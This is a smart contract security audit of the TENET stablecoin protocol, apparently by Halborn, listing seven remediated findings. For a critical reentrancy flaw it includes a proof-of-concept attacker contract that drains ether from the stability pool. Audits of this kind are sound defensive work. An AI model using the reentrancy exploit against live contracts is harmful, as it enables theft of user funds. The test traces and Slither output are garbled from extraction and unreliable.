

TENET - Stablecoin Protocol

Smart Contract Security Assessment

Prepared by: Halborn

Date of Engagement: July 6th, 2023 - August 10th, 2023

Visit: Halborn.com

DOCU	MENT REVISION HISTORY	4
CONT	ACTS	5
1	EXECUTIVE OVERVIEW	6
1.1	INTRODUCTION	7
1.2	ASSESSMENT SUMMARY	7
1.3	SCOPE	8
1.4	TEST APPROACH & METHODOLOGY	10
2	RISK METHODOLOGY	11
2.1	EXPLOITABILITY	12
2.2	IMPACT	13
2.3	SEVERITY COEFFICIENT	15
3	ASSESSMENT SUMMARY & FINDINGS OVERVIEW	17
4	FINDINGS & TECH DETAILS	18
4.1	(HAL-01) ANY DEPOSITOR CAN DRAIN ALL ETHER FROM THE STABIL: POOL - CRITICAL(10)	ITY 20
	Description	20
	Code Location	20
	Proof of Concept	22
	BVSS	23
	Recommendation	24
	Remediation Plan	24
4.2	(HAL-02) ADMIN ADDRESS NEVER INITIALIZED IN ATTRIBUTES CO	ON- 25
	Description	25
	Code Location	25

	BVSS	26
	Recommendation	26
	Remediation Plan	27
4.3	(HAL-03) POSSIBLE DOS DUE TO ATTRIBUTES.ASSETS SIZE - LOW(2 28	.5)
	Description	28
	Code Location	28
	BVSS	29
	Recommendation	29
	Remediation Plan	30
4.4	(HAL-04) TWO STEP TRANSFER OWNERSHIP MISSING IN PRICE FEED CO	
	TRACT - INFORMATIONAL(1.0)	31
	Description	31
	Code Location	31
	BVSS	32
	Recommendation	32
	Remediation Plan	32
4.5	(HAL-05) MISSING A CAP FOR LSDC GAS COMPENSATION - INFORMATIONAL(0.0)	MA- 33
	Description	33
	Code Location	33
	BVSS	33
	Recommendation	33
	Remediation Plan	33
4.6	(HAL-06) LONG LITERAL UINT256 USED IN ATTRIBUTES CONTRACT INFORMATIONAL(0.0)	34
	Description	2.1

	Code Location	34
	BVSS	35
	Recommendation	35
	Remediation Plan	35
4.7	(HAL-07) MISSING CHECKCONTRACT CHECK IN PRICEFEED.SETORACLE(INFORMATIONAL(0.0)) - 36
	Description	36
	Code Location	36
	BVSS	36
	Recommendation	36
	Remediation Plan	36
5	MANUAL TESTING	37
6	AUTOMATED TESTING	46
6.1	STATIC ANALYSIS REPORT	47
	Description	47
	Slither results	47
6.2	AUTOMATED SECURITY SCAN	51
	Description	51
	MythX results	51

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE
0.1	Document Creation	08/06/2023
0.2	Document Updates	08/07/2023
0.3	Document Updates	08/09/2023
0.4	Draft Review	08/10/2023
0.5	Draft Review	08/11/2023
1.0	Remediation Plan	08/21/2023
1.1	Remediation Plan Review	08/21/2023
1.2	Remediation Plan Review	08/21/2023
1.3	Remediation Plan Updates	11/01/2023
1.4	Remediation Plan Updates Review	11/01/2023
1.5	Remediation Plan Updates Review	11/02/2023

CONTACTS

CONTACT	COMPANY	EMAIL	
Rob Behnke	Halborn	Rob.Behnke@halborn.com	
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com	
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com	
Gokberk Gulgun	Halborn	Gokberk.Gulgun@halborn.com	
Omar Alshaeb	Halborn	Omar.Alshaeb@halborn.com	

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

The Tenet Stablecoin Protocol is a decentralized stablecoin protocol using the Liquidity model that allows you to draw interest free loans against yield-bearing collateral assets. Loans are drawn in LSDC (a USD pegged stablecoin) and need to maintain a minimum collateral ratio to keep the system healthy and over-collateralized.

TENET engaged Halborn to conduct a security assessment on their smart contracts beginning on July 6th, 2023 and ending on August 10th, 2023. The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 ASSESSMENT SUMMARY

The team at Halborn was provided five weeks for the engagement and assigned a full-time security engineer to verify the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that were properly mitigated by the TENET team.

1.3 SCOPE

1. IN-SCOPE:

The security assessment was scoped to the following smart contracts:

- contracts/Dependencies/*
- contracts/Interfaces/*
- contracts/ActivePool.sol
- contracts/Admin.sol
- contracts/Attributes.sol
- contracts/BorrowerOperations.sol
- contracts/ClipManager.sol
- contracts/CollSurplusPool.sol
- contracts/DefaultPool.sol
- contracts/GasPool.sol
- contracts/HintHelpers.sol
- contracts/LSDCToken.sol
- contracts/PriceFeed.sol
- contracts/SortedClips.sol
- contracts/StabilityPool.sol
- contracts/ValidationFeePool.sol

Commit ID: 1ecc0240fed77c23c3bef4d218c8891c0f1902e3

Also, the following commit IDs have been reviewed as an update to the code, removing certain code segments, which decreases both complexity and potential vulnerabilities. Moreover, adding Chainlink oracle support as the price feed.

Commit ID: f781e21dce44faefedbf3552f2f52febbe8deff7

Commit ID: 48fc7b7afd2d8a6cd93864797aacbd632e5215ce

Commit ID: 9182cb1b8254401a8aeba1aa74dd45c9e8939bf3

2. REMEDIATION PR/COMMITS:

- Fix Commit ID (HAL-01): 68607359e3dfd9c57cc20f647b6074dd24b933d9
- Fix Commit ID (Rest of vulnerabilities): 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

1.4 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment. (Foundry)

2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

2.1 EXPLOITABILITY

Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

Metrics:

Exploitability Metric (m_E)	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A)	1
Actack Origin (AO)	Specific (AO:S)	0.2
	Low (AC:L)	1
Attack Cost (AC)	Medium (AC:M)	0.67
	High (AC:H)	0.33
	Low (AX:L)	1
Attack Complexity (AX)	Medium (AX:M)	0.67
	High (AX:H)	0.33

Exploitability ${\it E}$ is calculated using the following formula:

$$E = \prod m_e$$

2.2 IMPACT

Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

Metrics:

Impact Metric (m_I)	Metric Value	Numerical Value
	None (I:N)	0
	Low (I:L)	0.25
Confidentiality (C)	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
	None (I:N)	0
	Low (I:L)	0.25
Integrity (I)	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
	None (A:N)	0
	Low (A:L)	0.25
Availability (A)	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
	None (D:N)	0
	Low (D:L)	0.25
Deposit (D)	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
	None (Y:N)	0
	Low (Y:L)	0.25
Yield (Y)	Medium: (Y:M)	0.5
	High: (Y:H)	0.75
	Critical (Y:H)	1

Impact ${\it I}$ is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient (C)	Coefficient Value	Numerical Value
	None (R:N)	1
Reversibility (r)	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (a)	Changed (S:C)	1.25
Scope (s)	Unchanged (S:U)	1

Severity Coefficient C is obtained by the following product:

C = rs

The Vulnerability Severity Score ${\cal S}$ is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	0	1	1	4

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
(HAL-01) ANY DEPOSITOR CAN DRAIN ALL ETHER FROM THE STABILITY POOL	Critical (10)	SOLVED - 08/07/2023
(HAL-02) ADMIN ADDRESS NEVER INITIALIZED IN ATTRIBUTES CONTRACT	Medium (5.0)	SOLVED - 08/21/2023
(HAL-03) POSSIBLE DOS DUE TO ATTRIBUTES.ASSETS SIZE	Low (2.5)	SOLVED - 08/21/2023
(HAL-04) TWO STEP TRANSFER OWNERSHIP MISSING IN PRICE FEED CONTRACT	Informational (1.0)	SOLVED - 08/21/2023
(HAL-05) MISSING A CAP FOR LSDC GAS COMPENSATION	Informational (0.0)	SOLVED - 08/21/2023
(HAL-06) LONG LITERAL UINT256 USED IN ATTRIBUTES CONTRACT	Informational (0.0)	SOLVED - 08/21/2023
(HAL-07) MISSING CHECKCONTRACT CHECK IN PRICEFEED.SETORACLE()	Informational (0.0)	SOLVED - 08/21/2023

FINDINGS & TECH DETAILS

4.1 (HAL-01) ANY DEPOSITOR CAN DRAIN ALL ETHER FROM THE STABILITY POOL - CRITICAL(10)

Description:

Any depositor, user who provides LSDC tokens to the stability pool, can drain all ether from the pool when claiming his gained rewards from liquidations. Thus, breaking the stablecoin overall logic. There is a reentrancy issue when distributing the ETH gains to depositors after some clips have been liquidated, due to the _sendETHGainToDepositor function within StabilityPool contract missing a reentrancy protection.

Code Location:

```
Listing 1: StabilityPool.sol (Line 308)
295 function provideToSP(uint256 _amount) external override {
       _requireNonZeroAmount(_amount);
       uint256 initialDeposit = deposits[msg.sender].initialValue;
       uint256 compoundedLSDCDeposit = getCompoundedLSDCDeposit(msg.

    sender);
       uint256 LSDCLoss = initialDeposit.sub(compoundedLSDCDeposit);
       address[] memory assets = attributes.getAssets();
       for (uint256 i = 0; i < assets.length; i++) {
           address asset = assets[i];
           uint256 depositorAssetGain = getDepositorETHGain(asset,

    msg.sender);
           _sendETHGainToDepositor(asset, depositorAssetGain);
           emit ETHGainWithdrawn(asset, msg.sender,
→ depositorAssetGain, LSDCLoss); // LSDC Loss required for event log
           _applyValidationRewards(asset);
       }
```

```
Listing 2: StabilityPool.sol (Line 739)
731 function _sendETHGainToDepositor(address _asset, uint256 _amount)

    internal {

       if (_amount == 0) {return;}
       uint256 newETH = ETH[_asset].sub(_amount);
       ETH[_asset] = newETH;
       emit StabilityPoolETHBalanceUpdated(_asset, newETH);
       emit EtherSent(_asset, msg.sender, _amount);
      if (_asset == ETH_REF_ADDRESS) {
          (bool success, ) = msg.sender.call{ value: _amount }("");
          require(success, "StabilityPool: sending ETH failed");
      } else {
          _unstake(_asset, _amount);
          bool success = IERC20(_asset).transfer(msg.sender,
require(success, "StabilityPool: ERC20 transfer failed");
747 }
```

Proof of Concept:

- 1. The borrowers open a clip.
- 2. Two of those borrowers become depositors, sending half of their LSDC token to the stability pool (both send the same amount, so same shares when gaining collateral from liquidations).
- 3. One of these providers (depositor) is acting maliciously and is using a contract to perform actions when receiving the ether from the stability pool (his gains).
- 4. He can reenter the function provideToSP as many times as he wants and drain all ether from the stability pool because of the execution of _sendETHGainToDepositor (no reentrancy protection).
- 5. So, finally, the malicious provider has all the ether from the stability pool and the rest of depositors cannot get their rewards.

```
Listing 3: MaliciousProvider.sol (Line 36)
 3 pragma solidity ^0.8.0;
 5 interface Target {
       function provideToSP(uint256 _amount) external;
       function balanceOf(address user) external view returns (
 \rightarrow uint256);
11 }
       uint256 i;
       address internal victimContract;
       address internal lSDCToken;
       constructor(address _victimContract, address _lSDCToken) {
```

```
function firstDeposit() external {

Target(victimContract).provideToSP(Target(1SDCToken).

balanceOf(address(this)) / 2);

function secondDeposit() external {

Target(victimContract).provideToSP(Target(1SDCToken).

balanceOf(address(this)) / 2);

receive() payable external {

if (i == 0) {

i = 1;

Target(victimContract).provideToSP(Target(1SDCToken).

balanceOf(address(this)) / 2);

}

Target(victimContract).provideToSP(Target(1SDCToken).

balanceOf(address(this)) / 2);

}

}

}
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:C/R:N/S:U (10)

Recommendation:

The use of reentrancy protection in all the functions that send native tokens to the user is highly recommended to avoid this type of security vulnerability.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID: 68607359e3dfd9c57cc20f647b6074dd24b933d9

4.2 (HAL-02) ADMIN ADDRESS NEVER INITIALIZED IN ATTRIBUTES CONTRACT - MEDIUM (5.0)

Description:

An admin address is used to perform access control on functions within Attributes.sol contract, which sets critical global parameters for the protocol. However, this address is never initialized and cannot be changed in any way, being always the zero address. Thus, making the admin address unusable.

Code Location:

```
Listing 4: Attributes.sol (Lines 47,57)
47 address public admin;
49 address public feeCollector;
51 EnumerableSetUpgradeable.AddressSet private _assets;
52 mapping (address => AssetConfig) public assetConfigs;
54 uint256 internal deploymentStartTime;
56 modifier isOwnerOrAdmin() {
       require(msg.sender == owner() || msg.sender == admin, "
 Unauthorized");
61 function initialize(
       address _validationRewardsReceiver,
       address _feeCollector,
       address _activePoolAddress,
       address _stabilityPoolAddress,
       address _validationRewardToken
67)
```

```
external
70 {
      __Ownable_init();
      deploymentStartTime = block.timestamp;
      checkContract(_validationRewardsReceiver);
      checkContract(_feeCollector);
      checkContract(_activePoolAddress);
      checkContract(_stabilityPoolAddress);
      checkContract(_validationRewardToken);
      stabilityPoolAddress = _stabilityPoolAddress;
      LSDC_GAS_COMPENSATION = 10e18;
      MIN_NET_DEBT = 490e18;
      BORROWING_FEE_FLOOR = DECIMAL_PRECISION / 1000 * 5; // 0.5%
      COL_GAS_COMPENSATION_PERCENT_DIVISOR = 200; // dividing by 200
      validationRewardsShare = 10; // dividing by 10 yields 10%
      emit ValidationRewardReceiverUpdated(
emit ActivePoolAddressChanged(_activePoolAddress);
      emit StabilityPoolAddressChanged(_stabilityPoolAddress);
      emit ValidationRewardTokenUpdated(_validationRewardToken);
97 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:N/S:U (5.0)

Recommendation:

The initialization of the admin address is needed for the proper functionality of the contract.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.3 (HAL-03) POSSIBLE DOS DUE TO ATTRIBUTES.ASSETS SIZE - LOW (2.5)

Description:

The owner of the Attributes.sol contract can add new collateral tokens which will be supported by the protocol. When adding support for new collaterals, there is no limit for the current amount of collaterals supported, and as the addresses of the collaterals are added to an enumerable set (_assets), the size of this set can grow considerably over time.

Hence, when any user calls, for instance, StabilityPool.provideToSP() to deposit LSDC tokens to the pool, it iterates over all the collaterals supported, calling _updateDepositAndSnapshots. In the case the size of the set has grown significantly, it could be possible that the TX will revert due to reaching the transaction gas limit.

Code Location:

```
Listing 6: Attributes.sol (Line 156)

155 function getAssets() public view returns (address[] memory) {
156 return _assets.values();
157 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:M/D:N/Y:N/R:P/S:U (2.5)

Recommendation:

It is strongly recommended to set a cap for the amount of collaterals supported by the protocol.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.4 (HAL-04) TWO STEP TRANSFER OWNERSHIP MISSING IN PRICE FEED CONTRACT - INFORMATIONAL (1.0)

Description:

The owner of the PriceFeed.sol contract is set in the constructor(). When transferring the ownership to a new owner, there is no confirmation whether is an active address or not. Transferring the ownership to a wrong address would let the contract without ownership.

Code Location:

```
Listing 7: PriceFeed.sol

15 contract PriceFeed is OwnableUpgradeable, CheckContract,
Ly IPriceFeed {
```

```
Listing 9: OwnableUpgradeable.sol (Line 85)

83 function _transferOwnership(address newOwner) internal virtual {
84    address oldOwner = _owner;
85    __owner = newOwner;
86    emit OwnershipTransferred(oldOwner, newOwner);
87 }
```

BVSS:

AO:S/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:P/S:U (1.0)

Recommendation:

The use of two-step transfer of ownership is recommended in critical contracts as price feed.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.5 (HAL-05) MISSING A CAP FOR LSDC GAS COMPENSATION - INFORMATIONAL (0.0)

Description:

The owner of the Attributes.sol contract, when setting the LSDC_GAS_COMPENSATION protocol parameter within setLSDCGasCompensation() function, there are no checks regarding the quantity being set.

Code Location:

```
Listing 10: Attributes.sol (Line 113)

112 function setLSDCGasCompensation(uint256 _gasCompensation) external

Ly override isOwnerOrAdmin {

113 LSDC_GAS_COMPENSATION = _gasCompensation;

114 emit LSDCGasCompensationUpdated(_gasCompensation);

115 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:P/S:U (0.0)

Recommendation:

An important parameter for the protocol as is LSDC_GAS_COMPENSATION, which plays a vital role, it is strongly recommended to set a cap for it.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID: 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.6 (HAL-06) LONG LITERAL UINT256 USED IN ATTRIBUTES CONTRACT - INFORMATIONAL (0.0)

Description:

Critical protocol parameters are set within the initialize() function of Attributes.sol contract. Specifically, MCR (minimum collateral ratio) is set using a long literal. This can lead to confusion on the percentages configured for the correct functionality of the whole protocol.

Code Location:

```
Listing 11: Attributes.sol (Line 86)
61 function initialize(
       address _validationRewardsReceiver,
       address _feeCollector,
       address _activePoolAddress,
       address _stabilityPoolAddress,
       address _validationRewardToken
67)
       external
70 {
       __Ownable_init();
       deploymentStartTime = block.timestamp;
       checkContract(_validationRewardsReceiver);
       checkContract(_feeCollector);
       checkContract(_activePoolAddress);
       checkContract(_stabilityPoolAddress);
       checkContract(_validationRewardToken);
       activePoolAddress = _activePoolAddress:
```

```
MCR = 12500000000000000; // 125%

LSDC_GAS_COMPENSATION = 10e18;

MIN_NET_DEBT = 490e18;

BORROWING_FEE_FLOOR = DECIMAL_PRECISION / 1000 * 5; // 0.5%

COL_GAS_COMPENSATION_PERCENT_DIVISOR = 200; // dividing by 200

Lyields 0.5%

validationRewardsShare = 10; // dividing by 10 yields 10%

emit ValidationRewardReceiverUpdated(
LyoulidationRewardsReceiver);

emit ActivePoolAddressChanged(_activePoolAddress);

emit StabilityPoolAddressChanged(_stabilityPoolAddress);

emit ValidationRewardTokenUpdated(_validationRewardToken);

7
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:P/S:U (0.0)

Recommendation:

To avoid any confusion or human errors while setting those parameters, the use of exponentiation (125e16, 13e17, etc.) is recommended instead.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.7 (HAL-07) MISSING CHECKCONTRACT CHECK IN PRICEFEED.SETORACLE() - INFORMATIONAL (0.0)

Description:

In the PriceFeed.sol contract, when setting the oracle address using setOracle() function, the checkContract() check is missing for _oracleAddress parameter.

Code Location:

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:P/S:U (0.0)

Recommendation:

When the address needs to be a contract, as the case with _oracleAddress, it is recommended to check it as done within setAddresses() function.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID: 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

MANUAL TESTING

The main goal of the manual testing performed during this assessment was to test all the functionalities regarding the tenet LSDC stablecoin overall protocol, focusing on the following points/scenarios:

- 1. Tests focused on borrowing LSDC and adding collateral to the clips (as a borrower of the protocol and using multiple collateral tokens)
- Open a new clip with ERC20 tokens as collateral.
- Open a new clip with ETH as collateral.
- Add more collateral to the clips.
- Check how the new ICR is calculated.
- Check how the new index of the clip is calculated and reinserted.

```
[2686] priceFeedTestnet::fetchPrice(wTNT: [0xCe71865D4017F316EC606Fe4422e11e82c47c246])
                           900
900
1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1900 | 1
'True
SB] clipHunappriidecayBaseBateFromBorrowing WTHI: [8x0e7885D4017F3166C806F6442201182c47c246])
mexit BaseBateUpdated(_asset: wHT): [0x0e72865D4017F316C606F6442201182c47c244), _baseBate: 0}
mexit LastFedglyDated(_asset: wHT): [0x0e72865D4017F316C606F6442201182c47c244), _baseBate: 0}
mexit LastFedglyDated(_asset: wHT): [0x0e73860504017F316C606442201182c7c7244], _baseBate: 0}
mexit LastFedglyDated(_asset: wHT): [0x0e73860504017F316C606442201182c7c7244], _baseBate: 0}
               clipManager::increaseClipColl(wTNT: [0xCe7106504017F316EC606Fe4422e11e82c47c246], borrower: [0x05650444aCe15A017628d97EE8fDeb495b3C2436], 10
           LidManager::undateClipValidationRewardSnapshots(wINI: (BxCb7186504817F316E5686F6442Ze11682c47c246), borrower: (Bx65658444aCe15A617628697EE8Fbeb495b3C2436))
ClipValidationRewardSnapshotsUpdated(_asset: wINI: [8xCe7186504817F316E5686Fe442Ze11682c47c246), V_Reward: 0)
  L ()
[46798] clipHanager::addClipOwnerfoArray(wTNT: [8xCe71865D4917F316EC606Fe4422e11e82c47c246], borrower: [8x65658444aCe158017628697EE870eb495b302436])

wit clipCreated(_asset: wTNT: [8xCe71865D4917F316EC606Fe4422e11e82c47c246], _borrower: [8x65658444aCe158417628697EE870eb495b302436], arrayIndex:
[2402] #TNT::decisals() [statical]

L 12

- 12
```

- 2. Tests focused on repaying LSDC and withdrawing collateral from the clips (as a borrower of the protocol and using multiple collateral tokens)
- Repay 50% of the clip debt.
- Withdraw some collateral from the clip.
- Check how the new ICR is calculated.
- Check how the new index of the clip is calculated and reinserted.
- Check if exist a situation where the borrower cannot repay the debt.

- 3. Tests focused on providing liquidity to the stability pool (as an SP depositor of the protocol)
- Only one depositor on the system as liquidity provider to the stability pool.
- More than one depositor as liquidity providers in the protocol.
- Check the flow of the LSDC and collaterals tokens when active clips are updated.
- Check the flow of the LSDC and collaterals tokens when a clip is liquidated.

- 4. Tests focused on withdrawing liquidity from the stability pool (as an SP depositor of the protocol)
- Depositor of LSDC withdrawing liquidity from the stability pool.
- Check how the TCR is being affected.
- Check how the shares of depositors are being recalculated.

```
| Column | C
```

- 5. Tests focused on liquidate and redeem (checking the different scenarios for closing the clips and distributing the rewards)
- Basic checks when ICR < MCR, the clip can be liquidated.
- Checks whether a user can redeem collateral with not enough valid clips.
- Checks whether a user can redeem collateral with sufficient valid clips.
- Check the priority of the chosen clips is properly working.

- 6. Tests depending on the state of the protocol
- Check if actions like withdrawing LSDC from the stability pool are not allowed while there are clips with ICR < MCR in the system.
- The user needs to have at least one active clip to withdraw gains to clips.
- There is no possibility to send LSDC tokens directly to StabilityPool , ClipManager or BorrowerOperations contracts.

- 7. Combine and perform integration tests with all the critical functionalities within the protocol (borrowers, depositors, liquidators, redeemers)
- Set 4 depositors as liquidity providers to the stability pool.
- Set 4 borrowers of LSDC.
- Set 2 redeemers of LSDC.
- Change the price of the collateral in the oracle.
- Redeemers redeem collateral.
- Clips being liquidated.
- Check the flow of LSDC and collateral tokens is properly working.

- 8. Tests focused on using multiple collaterals instead of just one type, and analyze how the protocol handles the different user actions involved
 - Add support for multiple collateral tokens within the protocol.
- Check how the system handles when using different collaterals to open a clip.
- Check how collaterals are calculated when opening a clip.
- Check how collaterals are recalculated when adding a specific collateral to an already active clip.
- Check how the system calculates the entire system collateral and the entire system debt.

9. Moreover, and very importantly, theoretically review all cases to make sure contracts have the correct business logic for the proper functionality of the stablecoin overall protocol

AUTOMATED TESTING

6.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

```
MONANTAIN

MINISTER 1. SECOND STATE OF THE PROPERTY OF THE PRO
```

contracts/BorrowerOperations.sol INFO:Detectors: Detroited the control of the contr culphangerCached.removeStake(_asset,wsg.sendsf_via--cliphangerCached.closeCip(_asset,wsg.sendsf) (tr/SurrowerOperations.sol#318) form (ealted Marter the calk[]) (speciment of the control of the contro contracts/Attributes.sol Orference. https://github.com/crycio/sliber/wlbi/Detector/boundentalion#unintialized-teat valuates MERGO-Detectors Attributes.initalize(address, address, address, address, address) (grc/Attributes.col#41-97) performs a multiplication on the result of a divit — 8080000MB/EE_E_1000 = DecINAL_PRESIDION / 1800 = 5 (crc/Attributes.col#80) Reference: https://github.com/crycio/slither/wlki/Detector-documentalion#divide-before-multiply MERO-Detectors Attributes.addReset(address, bool, address) (grc/Attributes.col#160-175) ignore return value by _asset.add(_asset) (grc/Attributes.sol#167) Detectors Attributes.addReset(address, bool, address) (grc/Attributes.col#160-175) ignore return value by _asset.add(_asset) (grc/Attributes.sol#167) Detectors Attributes.addReset(address, bool, address) (grc/Attributes.col#160-175) ignore return value by _asset.add(_asset) 